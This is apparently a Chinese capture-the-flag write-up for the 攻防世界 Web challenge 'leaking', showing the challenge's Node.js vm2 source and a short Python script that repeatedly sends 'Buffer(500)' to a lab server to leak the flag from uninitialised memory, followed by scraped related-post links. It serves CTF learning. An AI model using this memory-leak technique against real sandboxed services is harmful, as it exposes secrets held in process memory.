攻防世界Web:leaking
打开网页,代码审计,通过vm能猜测是关于node.js沙箱逃逸:
"use strict";var randomstring = require("randomstring");
var express = require("express");
var {VM
} = require("vm2");
var fs = require("fs");var app = express();
var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/* Orange is so kind so he put the flag here. But if you can guess correctly :P */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());}
});app.listen(3000, function() {console.log("listening on port 3000!");
});
用buffer():
# encoding=utf-8import requests
import time
url = 'http://111.200.241.244:53000/?data=Buffer(500)'
response = ''
while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(response)break
拿到flag:
总结:
node.js的沙箱逃逸
攻防世界Web:leaking相关推荐
- 攻防世界 WEB leaking
这题考的是node.js沙箱逃逸,之前没遇到过,属于是又学到新知识了 具体看这一篇,https://juejin.cn/post/6889226643525599240 简单说一下原理吧,就是理论上沙 ...
- CTF:攻防世界web PART01
写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 攻防世界web PART01 baby_web Traini ...
- 攻防世界 web高手进阶区 9分题 favorite_number
前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...
- 攻防世界——web新手题
攻防世界----web新手题 1. robots 打开题目场景,发现与robots协议有关,上网搜索robots协议的内容: Robots协议(也称为爬虫协议.机器人协议等)的全称是"网络爬 ...
- 攻防世界 web高手进阶区 10分题 weiphp
前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...
- 攻防世界Web第一天
攻防世界[Web]第一天 [Web]第一题 解题步骤 总结 [Web]第一题 X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了. 解题步骤 第一:获取在线场景,进入浏览页面. ...
- 攻防世界Web题 - unseping 总结
攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...
- 攻防世界-----web知识点总结
WEB 一. 网页源代码的方式 在地址栏前面加上view-source,如view-source:https://www.baidu.com 浏览器的设置菜单框中使用开发者工具,也可以查看网页源代码. ...
- 攻防世界 web高手进阶区 8分题 Web_python_block_chain
前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...
- 攻防世界web进阶区Web_php_wrong_nginx_config详解
攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...
最新文章
- AI 产品经理的三重门
- u-boot移植问题记录(一)--U_BOOT_CMD区别
- *【POJ - 1860】Currency Exchange (单源最长路---Bellman_Ford算法判正环)
- 英伟达收购交易取消后 ARM将裁员1000人
- 无法启动windows安全中心服务
- [转载] Python—urllib模块
- 当你只有kml/kmz格式数据时,kml/kmz批量转arcgis,属性丢失如何解决?
- Nexus5 破解电信关键步骤
- Python数学建模 空间插值
- SD敢达服务器源码,SD敢达全机体代码.doc
- PMP之SOW项目工作说明书
- RN style的常用布局页面属性
- 计算机资源管理器总是未响应,资源管理器总是无响应,而且开机很慢老是解决不了问题...
- 超市销售数据分析python_python实战案例:超市营业额数据分析
- STUN, TURN, ICE介绍
- 一键爬取王者荣耀全皮肤高清图片【方法一】
- LoadLibrary()动态调用dll失败,GetLastError()返回126
- python进制转换函数-Python中进制转换函数的使用
- Jenkins无法启动:com.michelin.cio.hudson.plugins.rolestrategy.RoleBasedAuthorizationStrategy
- 制作gif工具GIF Movie Gear
热门文章
- 【C语言基础】printf函数
- 计算机专业本科上线分数,计算机专业本科分数线
- 计算机文秘都学些什么,文秘专业主要学什么?
- ICG-Maleimide|吲哚菁绿-马来酰亚胺|开发共轭物
- 你会爬虫吗,我来教你爬海关蜀黍
- Python办公自动化实践1:从多个excel表中提取数据并汇总到一个工作表页中,表格,抽取,sheet
- 1.python自动化登录12306
- iOS Keychain和keychain share
- 诺基亚n1支持java功能_诺基亚(NOKIA)N1平板电脑按键及接口评测-ZOL中关村在线
- java通过schema校验xml